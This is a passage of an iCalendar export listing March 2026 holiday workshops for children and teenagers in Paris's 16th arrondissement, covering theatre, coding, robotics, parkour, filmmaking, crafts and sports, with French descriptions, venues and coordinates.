DTEND;TZID=Europe/Paris:20260306T123000 DTSTAMP:20260121T154609 CREATED:20250311T180024Z LAST-MODIFIED:20260115T105027Z UID:10015637-1772445600-1772800200@apprends-et-reve.fr SUMMARY:Théâtre : jouer et vivre ! DESCRIPTION:Être. Simplement être. Sur scène\, face à un public. Être un autre\, jouer un autre\, toujours sur scène\, toujours face à un public. \nJouer une scène de théâtre\,  cela semble si facile\, sauf quand vient son tour et qu’il s’agit d’exprimer des émotions\, de restituer les paroles d’un autre. Finalement\, de devenir cet autre\, le temps d’une pièce\, d’un sketch. \nAvec ce stage\, les adolescents vont apprendre à occuper l’espace\, à poser leur voix et à interagir avec les autres. \nIls pourront\, grâce à des impros et des sketchs\, incarner des personnages divers et variés et laisser parler les personnages qui les habitent. URL:https://apprends-et-reve.fr/activite/theatre-jouer-et-vivre-3/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/03/Theatre-ados.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T100000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250828T134748Z LAST-MODIFIED:20260109T150732Z UID:10015693-1772445600-1772814600@apprends-et-reve.fr SUMMARY:De l’art à la musique en passant par la cuisine\, les marionnettes ou l'observation de la nature\, partons à la découverte… DESCRIPTION:Parce qu’il n’y a pas d’âge pour exprimer sa créativité et qu’il n’est jamais trop tôt pour révéler l’artiste qui sommeille en nos enfants\, nous avons imaginé des ateliers qui donneront aux plus petits la possibilité de se révéler. \nMATIN : \nParce qu’il n’y a pas d’âge pour exprimer sa créativité et qu’il n’est jamais trop tôt pour révéler l’explorateur qui sommeille en nos enfants\, nous avons imaginé ce stage qui donnera aux plus petits la possibilité de se révéler. \nAu cours de ce stage\, les enfants ne vont pas apprendre à dessiner mais à laisser voguer leur imagination. Ils utiliseront crayons papier\, crayons de couleur\, feutres\, peinture. Ils colleront\, plieront… Les enfants seront des Artistes à part entière. \nIls vont également utiliser trois autres sens : le toucher\, l’odorat et le goût ! Avec l’atelier Cuisine\, les petits Chefs vont réaliser de délicieuses crêpes et autres bugnes. De quoi se régaler tous ensemble. \nEn allant à la découverte de la nature\, les enfants vont éveiller leurs 5 sens. Ils vont écouter la nature se reposer et comprendre pourquoi elle est en dormance. Sans oublier de fabriquer aux petits oiseaux de quoi manger pendant l’hiver. \nAPRÈS-MIDI : \nExploration des sons et de la musique. On dit que les plantes qui écoutent du Mozart poussent mieux et plus vite. Et si c’était la même chose pour nos petites têtes blondes ? Avec l’atelier Initiation musicale\, ils vont découvrir le pouvoir des instruments de musique et le bonheur de chanter. Au programme : Comptines et chansons de Noël\, jeux de doigts\, présentation des instruments de musique\, rythme avec des percussions adaptées aux plus petits. \nAprès la musique\, place aux histoires… de Marionnettes. Chaque enfant va pouvoir créer et personnaliser sa marionnette\, se l’approprier\, pour ensuite en faire comme un prolongement de lui-même qui lui permettra de s’exprimer sans pour autant trop s’impliquer. Et un petit spectacle clôturera la séance\, pour le plus grand bonheur des petits ! URL:https://apprends-et-reve.fr/activite/de-lart-au-theatre-en-passant-par-la-musique-les-marionnettes-ou-le-jardinage-partons-a-la-decouverte-3-2/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2024/05/marionnettes_35936431_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T100000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T164325Z LAST-MODIFIED:20260112T164325Z UID:10013077-1772445600-1772814600@apprends-et-reve.fr SUMMARY:Danse classique\, art et théâtre: une journée pour exprimer ses talents DESCRIPTION:Danse classique le matin\, art et théâtre en anglais l’après-midi : une combinaison gagnante qui permet aux enfants d’apprendre et s’exprimer. \nVotre enfant n’arrête pas de danser et se rêve en petit Rat de l’Opéra ? Ce stage est fait pour elle et lui ! Première position\, port-de-bras\, arabesque\, pas-de-bourrée… En une semaine\, le matin\, les enfants apprendront ou réviseront les pas de danse classique et réaliseront une petite chorégraphie. \nL’après-midi\, les enfants révèleront leurs talents d’artistes à travers l’art pictural et le théâtre. \nLors de l’atelier Théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage. \nDe petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. \nLe tout\, grâce à des échauffements\, exercices et histoires. \nDonner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de l’atelier Art et Créativité où les enfants ne vont pas apprendre qu’à dessiner\, mais aussi à laisser voguer leur imagination. \n  \n  URL:https://apprends-et-reve.fr/activite/danse-classique-art-et-anglais-un-stage-pour-exprimer-ses-talents-3-3/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/03/Petites-filles-danse-heureuses.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T103000 DTEND;TZID=Europe/Paris:20260306T123000 DTSTAMP:20260121T154609 CREATED:20250424T101951Z LAST-MODIFIED:20260115T102415Z UID:10015643-1772447400-1772800200@apprends-et-reve.fr SUMMARY:Découvrir le langage Python et apprendre à coder\, c'est passionnant! DESCRIPTION:Au cours de ce stage Python\, vos geeks seront initiés au code et à ce langage. Ils apprendront la programmation et les notions clefs du langage Python en créant ludiquement des programmes et en jouant sur le logiciel graphique « Turtle ». \nQuoi de mieux\, par exemple\, que de concevoir un programme pour calculer le coût de son voyage spatial\, plutôt que de prendre des heures à le faire de tête? \nEn filigrane\, les ados apprendront les notions de programmation : variables\, boucles\, fonctions\, etc… À la fois passionnant\, amusant… et utile. URL:https://apprends-et-reve.fr/activite/le-python-cest-passionnant-en-ete/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Codage,Informatique et numérique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2024/01/Developpement-application-informatique.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T103000 DTEND;TZID=Europe/Paris:20260306T123000 DTSTAMP:20260121T154609 CREATED:20250429T073408Z LAST-MODIFIED:20260112T190944Z UID:10015487-1772447400-1772800200@apprends-et-reve.fr SUMMARY:Geek et fan de robotique? Ce stage est pour TOI!!!! DESCRIPTION:Durant ce stage\, les enfants apprendront et s’initieront à la programmation de robots. \nIls commenceront\, grâce à différents jeux\, par apprendre le langage de programmation. Ils passeront ensuite à la robotique ou comprendre comment les robots fonctionnent. Une fois ces bases acquises\, ils s’attaqueront à la programmation de robots\, des moteurs et capteurs. Ils leur apprendront alors aux robots comment évoluer dans l’espace et réaliser des actions en programmant\, par exemple\, un mode suiveur de lignes ou la détection ou évitement des obstacles. \nBienvenue dans le futur ! URL:https://apprends-et-reve.fr/activite/geek-et-fan-de-robotique-ce-stage-est-pour-toi-3/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Informatique et numérique,Robotique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2019/05/ado-robot-codage-1-e1557853187671.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T160000 DTSTAMP:20260121T154609 CREATED:20250424T094542Z LAST-MODIFIED:20260109T140702Z UID:10015640-1772458200-1772812800@apprends-et-reve.fr SUMMARY:Du Parkour au Chase tag\, deviens un Winner des nouveaux sports phénomènes DESCRIPTION:Connaissez-vous le Chase Tag ? Ce sport\, inspiré du célèbre jeu du chat et de la souris\, mêle obstacles\, sauts\, rapidité et feintes. \nVous connaissez le jeu du chat et de la souris? Oui\, bien sûr. Mais connaissez-vous sa nouvelle version\, plus extrême\, le Chase tag ! Véritable sport d’agilité et art du déplacement\, cette discipline ultra-spectaculaire dérivée du Parkour a été créée au début des années 2010. \nDurant cette semaine de stage\, les ados réapprendront à se déplacer et utiliser toutes leurs fonctions motrices\, alliant utilisation des bras ET celle des jambes. Les obstacles sont franchis grâce à la course\, au saut\, à l’escalade\, au déplacement en équilibre\, à la quadrupédie\, etc. \nLes entrainements comprennent des exercices d’échauffement\, de renforcement\, des techniques de déplacement et d’acrobaties. \nPlace ensuite au Chase Tag\, au jeu\, proprement dit\, qui consiste à attraper l’adversaire sans se faire attraper\, en utilisant toutes les techniques de Parkour. \nDe quoi se renforcer tout en s’amusant. \nhttps://www.lemonde.fr/pixels/article/2023/07/08/le-world-chase-tag-le-championnat-mondial-de-chat-competitif-organise-son-premier-tournoi-en-france_6181126_4408996.html \n  URL:https://apprends-et-reve.fr/activite/du-parkour-au-chase-tag-deviens-un-winner-des-nouveaux-sports-phenomenes/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2023/05/world-chase-tag-1.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T160000 DTSTAMP:20260121T154609 CREATED:20250429T075110Z LAST-MODIFIED:20260109T140957Z UID:10015569-1772458200-1772812800@apprends-et-reve.fr SUMMARY:Le Chase tag\, un jeu TRÈS sportif DESCRIPTION:Vous connaissez le jeu du chat et de la souris? Oui\, bien sûr. Mais connaissez-vous sa nouvelle version\, plus extrême\, le Chase tag ! Véritable sport d’agilité et art du déplacement\, cette discipline ultra-spectaculaire dérivée du Parkour a été créée au début des années 2010. \nDurant cette semaine de stage\, les enfants réapprendront à se déplacer et utiliser toutes leurs fonctions motrices\, alliant utilisation des bras ET celle des jambes. Les obstacles sont franchis grâce à la course\, au saut\, à l’escalade\, au déplacement en équilibre\, à la quadrupédie\, etc. \nLes entrainements comprennent des exercices d’échauffement\, de renforcement\, des techniques de déplacement et d’acrobaties. \nPlace ensuite au Chase Tag\, au jeu\, proprement dit\, qui consiste à attraper l’adversaire sans se faire attraper\, en utilisant toutes les techniques de Parkour. \nDe quoi faire du sport tout en s’amusant. URL:https://apprends-et-reve.fr/activite/le-chase-tag-un-jeu-tres-sportif-2/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/04/Parkour-Chase-Tag_268720856_S.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20230112T211451Z LAST-MODIFIED:20260115T101855Z UID:10010979-1772458200-1772814600@apprends-et-reve.fr SUMMARY:Steven Spielberg\, c’est moi ! DESCRIPTION:Au cours de ce stage\, les ados vont réaliser un court-métrage collectivement. Ils vont s’initier à la réalisation et au montage vidéo et vont découvrir le vocabulaire du cinéma et comprendre la réalisation d’un film. Ils vont commencer par créer une histoire et élaborer un scénario\, à partir duquel ils vont créer un « story-board ». Place ensuite au tournage : les ados se font acteurs\, preneurs de sons\, régisseur lumières… \nUne fois la « mise en boîte » terminée\, les ados s’initieront au montage. Ils regarderont les «rushs»\, «couperont» les «plans»\, les «organiseront»\, ajouteront une «bande-son» et un «générique» et réaliseront l’affiche de leur court-métrage. \nDe vrais futurs grands. URL:https://apprends-et-reve.fr/activite/steven-spielberg-cest-moi/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts visuels,Cinéma / vidéo ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/03/Cinema-en-francais6-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250425T154433Z LAST-MODIFIED:20260109T151351Z UID:10015702-1772458200-1772814600@apprends-et-reve.fr SUMMARY:À la découverte... DESCRIPTION:Avec ce stage\, les enfants vont partir en exploration. \nExploration des sons et de la musique. On dit que les plantes qui écoutent du Mozart poussent mieux et plus vite. Et si c’était la même chose pour nos petites têtes blondes ? Avec l’atelier Initiation musicale\, ils vont découvrir le pouvoir des instruments de musique et le bonheur de chanter. Au programme : Comptines et chansons folkloriques françaises et étrangères\, jeux de doigts\, présentation des instruments de musique\, rythme avec des percussions adaptées aux plus petits. \nExploration de soi-même et de son imaginaire. \nAprès la musique\, place aux histoires… de Marionnettes. Chaque enfant va pouvoir créer et personnaliser sa marionnette\, se l’approprier\, pour ensuite en faire comme un prolongement de lui-même qui lui permettra de s’exprimer sans pour autant trop s’impliquer. Et un petit spectacle clôturera la séance\, pour le plus grand bonheur des petits ! \n  URL:https://apprends-et-reve.fr/activite/a-la-decouverte-3/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2018/05/Depositphotos_83601580_m-2015-e1537870999928.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250429T084557Z LAST-MODIFIED:20260112T190731Z UID:10015619-1772458200-1772814600@apprends-et-reve.fr SUMMARY:Steven Spielberg\, c’est moi! DESCRIPTION:Au cours de ce stage de montage vidéo et de réalisation\, les enfants vont créer un court-métrage collectivement. \nIls auront un aperçu des métiers de monteur et de réalisateur et vont découvrir le vocabulaire du cinéma et comprendre la réalisation d’un film. Ils vont commencer par créer une histoire et élaborer un scénario\, à partir duquel ils vont créer un « story-board». Place ensuite au tournage : les enfants deviennent acteurs\, preneurs de sons\, régisseur lumières… \nUne fois la « mise en boîte » terminée\, les enfants s’initieront au montage. Ils regarderont les «rushs»\, «couperont» les «plans»\, les «organiseront»\, ajouteront une «bande-son» et un «générique» et réaliseront l’affiche de leur court-métrage. \nDe vrais cinéastes en herbe. URL:https://apprends-et-reve.fr/activite/steven-spielberg-cest-moi-3/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts visuels,Cinéma / vidéo ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2024/05/realisateur-cinema-film_797048250_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20251113T154615Z LAST-MODIFIED:20260113T153011Z UID:10021678-1772458200-1772814600@apprends-et-reve.fr SUMMARY:🌟 🎎🧑🏻‍🎨 Entre poterie\, céramique\, paillettes d’or et broderie\, un stage pour briller de créativité ! 🪡🧵✨ DESCRIPTION:Pars à la découverte de deux mondes magiques : 💛 Le Kintsugi\, où tu répares la céramique cassée avec de l’or et tu crées un nouvel objet absolument magnifique\, et un atelier broderie   pour apprendre à maîtriser différentes techniques et créer des pièces uniques. \nGuidés pas à pas par des professionnelles passionnées et habituées à travailler avec les plus jeunes\, ils découvriront les secrets des belles finitions et la joie de donner vie à leurs idées. \n💡 Pourquoi venir ?\n• Exprime ta créativité : chaque objet devient unique\, comme toi !\n• Apprends la patience et la concentration en t’amusant.\n• Découvre une super idée : les petites fissures et les défauts peuvent se transformer en force et beauté.\n• Repars avec tes créations : des objets magiques\, remplis de sens et de personnalité. \n💛 Inscris-toi et fais briller tes idées ! ✨ URL:https://apprends-et-reve.fr/activite/%f0%9f%8c%9f-ceramique-et-plumes-cree-repare-et-protege-un-stage-magique-%f0%9f%90%a6%f0%9f%8e%a8%e2%9c%a8/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Couture,Créativité,Nature et environnement ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/11/Kintsugi-Depositphotos_324987200_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T103842Z LAST-MODIFIED:20260112T111137Z UID:10021684-1772458200-1772814600@apprends-et-reve.fr SUMMARY:S’exprimer autrement\, entre gym\, théâtre et arts DESCRIPTION:Au cours de ce stage\, les enfants pourront s’exprimer aussi bien sportivement que de manière créative. \nAvec l’atelier d’Initiation à la gymnastique\, nous allons initier les enfants à l’Art du Déplacement ou comment faire des «obstacles »\, des challenges et jeux à gagner. Via un parcours\, l’enfant améliorera ses capacités d’équilibre\, de motricité\, de coordination et de concentration. \nCet atelier\, à la fois ludique et sportif\, leur permet de découvrir et améliorer toutes leurs capacités corporelles\, en même temps que le sens du challenge. \nLors de l’atelier Théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage. \nDe petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. Le tout\, grâce à des échauffements\, exercices et histoires. \nDonner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de l’atelier Art et Créativité où les enfants ne vont pas apprendre qu’à dessiner\, mais aussi à laisser voguer leur imagination. URL:https://apprends-et-reve.fr/activite/sexprimer-autrement-3/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/05/theatre-Depositphotos_72163619_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T163558Z LAST-MODIFIED:20260112T163645Z UID:10015763-1772458200-1772814600@apprends-et-reve.fr SUMMARY:Art et théâtre: c'est moi l'Artiste DESCRIPTION:Au cours de ce stage\, les enfants pourront révéler leurs talents d’artiste. \nLors de l’atelier Théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage. \nDe petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. \nLe tout\, grâce à des échauffements\, exercices et histoires. \nDonner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de l’atelier Art et Créativité où les enfants ne vont pas apprendre qu’à dessiner\, mais aussi à laisser voguer leur imagination. URL:https://apprends-et-reve.fr/activite/art-et-theatre-cest-moi-lartiste-2/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Créativité,Multi activités,Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/04/Theatre-Depositphotos_71335445_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T133000 DTEND;TZID=Europe/Paris:20260306T170000 DTSTAMP:20260121T154609 CREATED:20260115T115921Z LAST-MODIFIED:20260115T115921Z UID:10021695-1772458200-1772816400@apprends-et-reve.fr SUMMARY:3D : Imagine\, crée et imprime tes bijoux uniques ! DESCRIPTION:Pendant ce stage\, les ados commenceront par imaginer et dessiner les bijoux qu’ils rêvent de porter ou d’offrir. Ensuite\, ils apprendront à utiliser un logiciel de 3D comme Blender pour les modéliser et créer des objets totalement uniques et personnels. Ils découvriront comment travailler les volumes\, les ombres\, les lumières et même les textures pour donner un vrai réalisme à leurs créations. \nEt le meilleur ? En fin de semaine\, leurs bijoux passeront de l’écran à la réalité grâce à l’impression 3D ! URL:https://apprends-et-reve.fr/activite/3d-imagine-cree-et-imprime-tes-bijoux-uniques/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:3D,Bijoux/Joaillerie,Créativité,Informatique et numérique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2026/01/modelisation-3D.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T140000 DTEND;TZID=Europe/Paris:20260306T160000 DTSTAMP:20260121T154609 CREATED:20250427T092514Z LAST-MODIFIED:20260109T152024Z UID:10015716-1772460000-1772812800@apprends-et-reve.fr SUMMARY:Prépare-toi\, pour devenir le prochain Mbappé DESCRIPTION:S’amuser en faisant du foot\, c’est bien. Recevoir une préparation physique s’approchant de celle des Bleus à Clairefontaine\, c’est mieux. Ayoub\, Amaury ou Fabrice\, coachs foot expérimentés\, entraineront les enfants à améliorer leur posture et leur stratégie de jeu. Passe\, tir\, conduite de balle\, dribble\, volée\, jeu de tête et contrôle de balle seront autant de techniques qui seront abordées au cours de ce stage. URL:https://apprends-et-reve.fr/activite/prepare-toi-pour-devenir-le-prochain-mbappe-en-ete/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,Football ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/04/football-activite.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T140000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250428T085421Z LAST-MODIFIED:20260109T141449Z UID:10015482-1772460000-1772814600@apprends-et-reve.fr SUMMARY:À la découverte de l’athlétisme et de la gymnastique DESCRIPTION:En compagnie d’un coach professionnel\, les enfants s’initieront aux différentes disciplines sportives rattachées à l’athlétisme telles que la course\, le saut de haie\, le saut en longueur et/ou en hauteur ou encore le lancer de poids ou de javelot. \nGrâce à une approche ludique\, les enfants auront un premier contact avec l’athlétisme et apprendront à connaitre leur endurance\, leur vitesse et leur agilité\, à courir\, sauter\, lancer\, franchir\, tomber\, tourner\, rouler\, … \nDes exercices qui leur permettront d’acquérir postures\, réflexes\, motricité\, de se muscler et de se dépenser. \nAvec la gymnastique\, nous allons initier les enfants à l’Art du Déplacement ou comment faire des « obstacles »\, des challenges et jeux à gagner. \nVia un parcours\, l’enfant améliorera ses capacités d’équilibre\, de motricité\, de coordination et de concentration. \nCe sport\, proposé de manière à la fois ludique et sportive\, leur permet de découvrir et améliorer toutes leurs capacités corporelles\, en même temps que le sens du challenge. URL:https://apprends-et-reve.fr/activite/a-la-decouverte-de-lathletisme-et-de-la-gymnastique-en-ete-2/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2023/11/Athletisme-petit-enfant.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T140000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250429T065502Z LAST-MODIFIED:20260112T190536Z UID:10015760-1772460000-1772814600@apprends-et-reve.fr SUMMARY:Basket\, foot\, tennis\, handball\, volley\, boxe\, ultimate\, vortex: de vrais champions DESCRIPTION:En compagnie d’un coach professionnel\, les enfants perfectionneront leur technique et virtuosité au basket\, football\, tennis handball\, volley\, boxe\, ultimate et/ou vortex. Des exercices ludiques à base de parcours leur permettront d’acquérir postures\, réflexes\, motricité\, de se muscler et de se dépenser. URL:https://apprends-et-reve.fr/activite/basket-foot-tennis-handball-volley-boxe-ultimate-vortex-de-vrais-champions-3/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/04/Sport_11633150_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T140000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260114T172615Z LAST-MODIFIED:20260114T172615Z UID:10021691-1772460000-1772814600@apprends-et-reve.fr SUMMARY:Deviens mangaka ! DESCRIPTION:Tu es fan de Mangas? Et si c’était à ton tour de devenir Mangaka\, ou dessinateur de 